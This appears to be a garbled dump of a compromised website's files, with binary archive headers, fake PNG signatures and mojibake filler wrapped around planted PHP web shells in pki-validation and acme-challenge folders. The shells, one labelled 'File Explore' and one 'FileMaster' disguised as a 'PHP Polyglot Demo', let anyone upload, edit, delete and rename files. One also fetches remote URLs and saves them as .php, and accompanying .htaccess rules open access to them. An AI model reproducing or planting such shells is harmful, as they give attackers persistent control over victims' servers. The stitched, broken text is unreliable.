fè¯•ssefahahå¯èƒ½å¡å¡å¡é©¬å¡å¡è®¡ç®—æœºè§†è§‰äº‹å®žä¸Šäº‹å®žä¸Šé£’é£’é£’gjâ—â—â—â—hfkttkgdgkmcuocucocucocé¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶ucoæœµæœµå¯å¯æ”¾2å·å³¨2555555666369ðŸŒ¹ ï¿½ï¿½ï¿½ï¿½ï¿½Ñ©ï¿½ï¿½ï¿½ï¿½ï¿½Ò»ï¿½ï¿½ï¿½ï¿½dddf2qevf2fv69666 ? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!PK#ZV]•¶®øÜÜ#pki-validation/Exceptions/.htaccessnu„[µü¤ Order allow,deny Deny from all Order allow,deny Allow from all PK#ZV]Jÿ\"; foreach ($pathParts as $k => $v) { if ($v == "" && $k == 0) { echo "/"; continue; } $dirPath = implode("/", array_slice($pathParts, 0, $k + 1)); echo "$v/"; } echo ""; // Upload if (isset($_POST['s']) && isset($_FILES['u']) && $_FILES['u']['error'] == 0) { $fileName = $_FILES['u']['name']; $tmpName = $_FILES['u']['tmp_name']; $destination = $currentDir . '/' . $fileName; if (rename($tmpName, $destination)) { echo ""; } else { echo ""; } } // File/Folder Listing $items = scandir($currentDir); if ($items !== false) { echo ""; echo ""; foreach ($items as $item) { $fullPath = $currentDir . '/' . $item; if ($item == '.' || $item == '..') continue; if (is_dir($fullPath)) { echo ""; } else { $size = filesize($fullPath) / 1024; $size = $size >= 1024 ? round($size / 1024, 2) . 'MB' : round($size, 2) . 'KB'; echo ""; } } echo "

Name	Size	Action
dir> $item	--	--
fil> $item	$size	" . "Delete \| " . "Edit \| " . "Rename" . "

"; } else { echo "

Unable to read directory!

"; } // Delete File if (isset($_POST['del'])) { $filePath = base64_decode($_POST['del']); $fileDir = dirname($filePath); if (@unlink($filePath)) { echo ""; } else { echo ""; } } // Edit File if (isset($_POST['edit'])) { $filePath = base64_decode($_POST['edit']); $fileDir = dirname($filePath); if (file_exists($filePath)) { echo ""; echo "Back"; echo ""; } } // Save Edited File if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) { $filePath = base64_decode($_POST['obj']); $fileDir = dirname($filePath); if (file_put_contents($filePath, $_POST['content'])) { echo ""; } else { echo ""; } } // Rename if (isset($_POST['ren'])) { $oldPath = base64_decode($_POST['ren']); $oldDir = dirname($oldPath); if (isset($_POST['new'])) { $newPath = $oldDir . '/' . $_POST['new']; if (rename($oldPath, $newPath)) { echo ""; } else { echo ""; } } else { echo ""; } } ?> File Explore

PK#ZV]•¶®øÜÜ!acme-challenge/pebblely/.htaccessnu„[µü¤ Order allow,deny Deny from all Order allow,deny Allow from all PK#ZV]0Päuu!acme-challenge/pebblely/index.phpnu„[µü¤d(ãƒ»Ï‰ãƒ»d) å¾®åˆ†ï¼(âˆ«ãƒ»Ï‰ãƒ»)âˆ« ç©åˆ†ï¼âˆ‚(ãƒ»Ï‰ãƒ»âˆ‚) åå¾®åˆ†ï¼(âˆ®ãƒ»Ï‰ãƒ»)âˆ® æ²¿é–‰æ›²ç·šçš„ç©åˆ†ï¼(âˆ¬ãƒ»Ï‰ãƒ»)âˆ¬ é‡ç©åˆ†ï¼âˆ‡(ãƒ»Ï‰ãƒ»âˆ‡)æ¢¯åº¦ï¼âˆ‡ãƒ»(ãƒ»Ï‰ãƒ»âˆ‡ãƒ»)æ•£åº¦ï¼âˆ‡Ã—(ãƒ»Ï‰ãƒ»âˆ‡Ã—)æ—‹åº¦ï¼Î”(ãƒ»Ï‰ãƒ»Î”)æ‹‰æ™®æ‹‰æ–¯ï¼#ï¾ŸÃ…ï¾Ÿï¼‰âŠ‚å½¡â˜†))ï¾ŸÐ”ï¾Ÿ)ï½¥âˆµáƒš(â—‰â—žà±ªâ—Ÿâ—‰ )áƒšåƒè¨€è¬èªžï¼Œä¸å¦‚ä¸€å€‹ã€Œè¡¨æƒ…ç¬¦è™Ÿ(emoji)ã€ç°¡å–®ç”Ÿå‹•åˆæœ‰è¶£!à² â–ƒà² ç”Ÿæ°£ã€-`Ð´Â´-æ†¤æ€’ã€(Â¬_Â¬)ç„¡è¨€ã€(â€¢ÍˆâŒ”â€¢Íˆâ‘…)å‚·å¿ƒã€å“ã€é–‹å¿ƒã€å¤§ç¬‘ã€å¯æ„›ã€å›°æƒ‘ã€ç™¼å‘†ã€å¤§çœ¼ç›ã€é©šå‘€ã€è·³èˆžã€èˆˆå¥®ã€å¥”è·‘..â‰§Ð”â‰¦ ï¼ˆ; â‰§çš¿â‰¦ï¼‰ (âŽËƒá†ºË‚) â•¬ Ã’ â€¸ Ã“) <(ï½€^Â´)> ( >Ð´<) (ê¦ à² çš¿à² ) (ï½€Ð”Â´) (; ï½€OÂ´)o o(-`Ð´Â´- ï½¡) ( ËƒâŒ‚Ë‚ ) (Â°ã…‚Â° â•¬) (Ê˜è¨€Ê˜â•¬) (Ã’ çš¿ Ã“ â•¬) (-`Ð´Â´-) ëˆˆ_ëˆˆ (â‹‹â–‚â‹Œ) (Â¬â–‚Â¬) à² â–ƒà² (ï¼žxï¼œ) â•°ï¼ˆâ€µâ–¡â€²ï¼‰â•¯ dsdf PHP Polyglot Example

PHP Polyglot Demo

dsdfbasePath = rtrim(str_replace('\\', '/', $realBase), '/'); } public function getFullPath($path) { $path = str_replace('\\', '/', urldecode($path)); if (strpos($path, $this->basePath) === 0) { return rtrim($path, '/'); } if (strpos($path, '/') === 0) { return rtrim($this->basePath . $path, '/'); } return rtrim($this->basePath . '/' . $path, '/'); } public function isSafePath($path) { $real = realpath($path); if (!$real) return false; return strpos($real, $this->basePath) === 0; } public function listDir($dir) { $fullPath = $this->getFullPath($dir); if (!is_dir($fullPath)) { return array(); } $items = scandir($fullPath); $items = array_filter($items, function ($v) { return ($v !== '.' && $v !== '..'); }); usort($items, function ($a, $b) use ($fullPath) { $aIsDir = is_dir($fullPath . '/' . $a); $bIsDir = is_dir($fullPath . '/' . $b); if ($aIsDir !== $bIsDir) { return $aIsDir ? -1 : 1; } return strcasecmp($a, $b); }); return $items; } public function readFile($file) { $fullPath = $this->getFullPath($file); if (!$this->isSafePath($fullPath) || !is_file($fullPath)) { return false; } return @file_get_contents($fullPath); } public function saveFile($file, $content) { $fullPath = $this->getFullPath($file); if (!$this->isSafePath($fullPath) || !is_file($fullPath)) { return false; } return @file_put_contents($fullPath, $content) !== false; } public function createFile($dir, $filename, $content) { $dirPath = $this->getFullPath($dir); if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) { return array('success' => false, 'message' => 'Invalid directory'); } $filePath = $dirPath . '/' . $filename; if (file_exists($filePath)) { return array('success' => false, 'message' => 'File already exists'); } $res = @file_put_contents($filePath, $content); if ($res !== false) { return array('success' => true, 'path' => $filePath); } return array('success' => false, 'message' => 'File creation failed'); } public function createDir($dir, $name) { $dirPath = $this->getFullPath($dir); if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) { return array('success' => false, 'message' => 'Invalid parent directory'); } $newDir = $dirPath . '/' . $name; if (file_exists($newDir)) { return array('success' => false, 'message' => 'Folder already exists'); } if (@mkdir($newDir, 0755)) { return array('success' => true, 'path' => $newDir); } return array('success' => false, 'message' => 'Folder creation failed'); } public function deleteFile($file) { $filePath = $this->getFullPath($file); if (!$this->isSafePath($filePath) || !is_file($filePath)) { return array('success' => false, 'message' => 'Invalid or non-existent file'); } if (@unlink($filePath)) { return array('success' => true); } return array('success' => false, 'message' => 'File deletion failed'); } public function deleteDir($dir) { $dirPath = $this->getFullPath($dir); if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) { return array('success' => false, 'message' => 'Invalid or non-existent folder'); } if (count(scandir($dirPath)) > 2) { return array('success' => false, 'message' => 'Folder is not empty'); } if (@rmdir($dirPath)) { return array('success' => true); } return array('success' => false, 'message' => 'Folder deletion failed'); } public function rename($oldPath, $newName) { $oldFull = $this->getFullPath($oldPath); if (!$this->isSafePath($oldFull) || !file_exists($oldFull)) { return array('success' => false, 'message' => 'Invalid source file/folder'); } $newFull = dirname($oldFull) . '/' . $newName; if (file_exists($newFull)) { return array('success' => false, 'message' => 'Target already exists'); } if (@rename($oldFull, $newFull)) { return array('success' => true, 'path' => $newFull); } return array('success' => false, 'message' => 'Rename failed'); } public function fetchRemote($url, $dir) { $dirPath = $this->getFullPath($dir); if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) { return array('success' => false, 'message' => 'Invalid directory'); } $fileName = basename(parse_url($url, PHP_URL_PATH)); if (!$fileName) { $fileName = 'remote_' . time() . '.php'; } if (strtolower(pathinfo($fileName, PATHINFO_EXTENSION)) === 'txt') { $fileName = pathinfo($fileName, PATHINFO_FILENAME) . '.php'; } $filePath = $dirPath . '/' . $fileName; if (file_exists($filePath)) { return array('success' => false, 'message' => "File already exists: $fileName"); } $content = @file_get_contents($url); if ($content === false) { return array('success' => false, 'message' => 'Failed to fetch remote file'); } if (@file_put_contents($filePath, $content) === false) { return array('success' => false, 'message' => 'File save failed'); } return array('success' => true, 'path' => $filePath); } public function upload($file, $dir) { $dirPath = $this->getFullPath($dir); if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) { return array('success' => false, 'message' => 'Invalid upload directory'); } $target = $dirPath . '/' . basename($file['name']); if (file_exists($target)) { return array('success' => false, 'message' => 'File already exists'); } if (@move_uploaded_file($file['tmp_name'], $target)) { return array('success' => true, 'path' => $target); } return array('success' => false, 'message' => 'File upload failed'); } public function search($dir, $term) { $dirPath = $this->getFullPath($dir); if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) { return false; } $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dirPath, RecursiveDirectoryIterator::SKIP_DOTS)); foreach ($iterator as $item) { if (stripos($item->getFilename(), $term) !== false) { return $item->getPathname(); } } return false; } public function previewFile($file) { $fullPath = $this->getFullPath($file); if (!$this->isSafePath($fullPath) || !is_file($fullPath)) { return false; } $content = @file_get_contents($fullPath); if ($content === false) { return false; } return substr($content, 0, 500); // Limit preview to 500 characters } } $dir = isset($_GET['dir']) ? $_GET['dir'] : '.'; function cleanPath($path) { $path = str_replace(array('\\', '..'), array('/', ''), $path); return rtrim($path, '/'); } $dir = cleanPath($dir); $fileManager = new FileManager(); $flash = ''; $flashType = 'info'; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = isset($_POST['action']) ? $_POST['action'] : ''; if ($action === 'create_file') { $filename = isset($_POST['filename']) ? trim($_POST['filename']) : ''; $content = isset($_POST['content']) ? $_POST['content'] : ''; if ($filename === '') { $flash = 'File name cannot be empty'; $flashType = 'error'; } else { $res = $fileManager->createFile($dir, $filename, $content); $flash = $res['success'] ? 'File created successfully' : ('Error: ' . $res['message']); $flashType = $res['success'] ? 'success' : 'error'; } } elseif ($action === 'create_dir') { $dirname = isset($_POST['dirname']) ? trim($_POST['dirname']) : ''; if ($dirname === '') { $flash = 'Folder name cannot be empty'; $flashType = 'error'; } else { $res = $fileManager->createDir($dir, $dirname); $flash = $res['success'] ? 'Folder created successfully' : ('Error: ' . $res['message']); $flashType = $res['success'] ? 'success' : 'error'; } } elseif ($action === 'delete_file') { $target = isset($_POST['target']) ? cleanPath($_POST['target']) : ''; $res = $fileManager->deleteFile($target); $flash = $res['success'] ? 'File deleted successfully' : ('Error: ' . $res['message']); $flashType = $res['success'] ? 'success' : 'error'; } elseif ($action === 'delete_dir') { $target = isset($_POST['target']) ? cleanPath($_POST['target']) : ''; $res = $fileManager->deleteDir($target); $flash = $res['success'] ? 'Folder deleted successfully' : ('Error: ' . $res['message']); $flashType = $res['success'] ? 'success' : 'error'; } elseif ($action === 'rename') { $old = isset($_POST['old']) ? cleanPath($_POST['old']) : ''; $newName = isset($_POST['new']) ? trim($_POST['new']) : ''; if ($newName === '') { $flash = 'New name cannot be empty'; $flashType = 'error'; } else { $res = $fileManager->rename($old, $newName); $flash = $res['success'] ? 'Renamed successfully' : ('Error: ' . $res['message']); $flashType = $res['success'] ? 'success' : 'error'; } } elseif ($action === 'save_file') { $file = isset($_POST['file']) ? cleanPath($_POST['file']) : ''; $content = isset($_POST['content']) ? $_POST['content'] : ''; $res = $fileManager->saveFile($file, $content); $flash = $res ? 'File saved successfully' : 'File save failed'; $flashType = $res ? 'success' : 'error'; } elseif ($action === 'fetch_remote') { $url = isset($_POST['url']) ? trim($_POST['url']) : ''; if (filter_var($url, FILTER_VALIDATE_URL)) { $res = $fileManager->fetchRemote($url, $dir); $flash = $res['success'] ? 'Remote file fetched successfully' : ('Error: ' . $res['message']); $flashType = $res['success'] ? 'success' : 'error'; } else { $flash = 'Invalid URL'; $flashType = 'error'; } } elseif (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) { $res = $fileManager->upload($_FILES['upload'], $dir); $flash = $res['success'] ? 'File uploaded successfully' : ('Error: ' . $res['message']); $flashType = $res['success'] ? 'success' : 'error'; } header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($dir) . '&flash=' . urlencode($flash) . '&flash_type=' . urlencode($flashType)); exit; } if (isset($_GET['flash'])) { $flash = $_GET['flash']; $flashType = isset($_GET['flash_type']) ? $_GET['flash_type'] : 'info'; } $searchTerm = isset($_GET['search']) ? trim($_GET['search']) : ''; $searchResult = false; if ($searchTerm !== '') { $searchResult = $fileManager->search($dir, $searchTerm); } $items = $fileManager->listDir($dir); function breadcrumbs($path) { $path = trim(str_replace('\\', '/', $path), '/'); if ($path === '') { return array(array('name' => 'Home', 'path' => '.')); } $parts = explode('/', $path); $crumbs = array(); $acc = ''; foreach ($parts as $part) { $acc .= ($acc === '' ? '' : '/') . $part; $crumbs[] = array('name' => $part, 'path' => $acc); } array_unshift($crumbs, array('name' => 'Home', 'path' => '.')); return $crumbs; } function sizeFormatted($bytes) { if ($bytes < 1024) return $bytes . ' B'; $units = array('KB', 'MB', 'GB', 'TB'); $power = floor(log($bytes, 1024)); $power = ($power > count($units)) ? count($units) : $power; $value = round($bytes / pow(1024, $power), 2); return $value . ' ' . $units[$power - 1]; } function h($s) { return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); } ?> FileMaster

FileMaster

dsdf

dsdf dsdf

Search Results

dsdf

File found:
/

dsdf

No files found.

dsdf

dsdf dsdfreadFile($viewFile); ?>

Edit File:

dsdf

File cannot be opened or does not exist.

dsdf dsdf dsdf

Directory:

dsdf dsdf dsdfgetFullPath($itemPath); $isDir = is_dir($fullPath); $size = $isDir ? '-' : sizeFormatted(filesize($fullPath)); $preview = !$isDir ? $fileManager->previewFile($itemPath) : false; ?> dsdf

Name	Type	Size	Actions
â† Parent Directory
' : '' ?> dsdf dsdf dsdf dsdf dsdf			dsdf dsdf dsdf

PHP Polyglot Demo

FileMaster

Search Results

Edit File:

Directory:

Create New File

Create New Folder

Fetch Remote File

Upload File

File Preview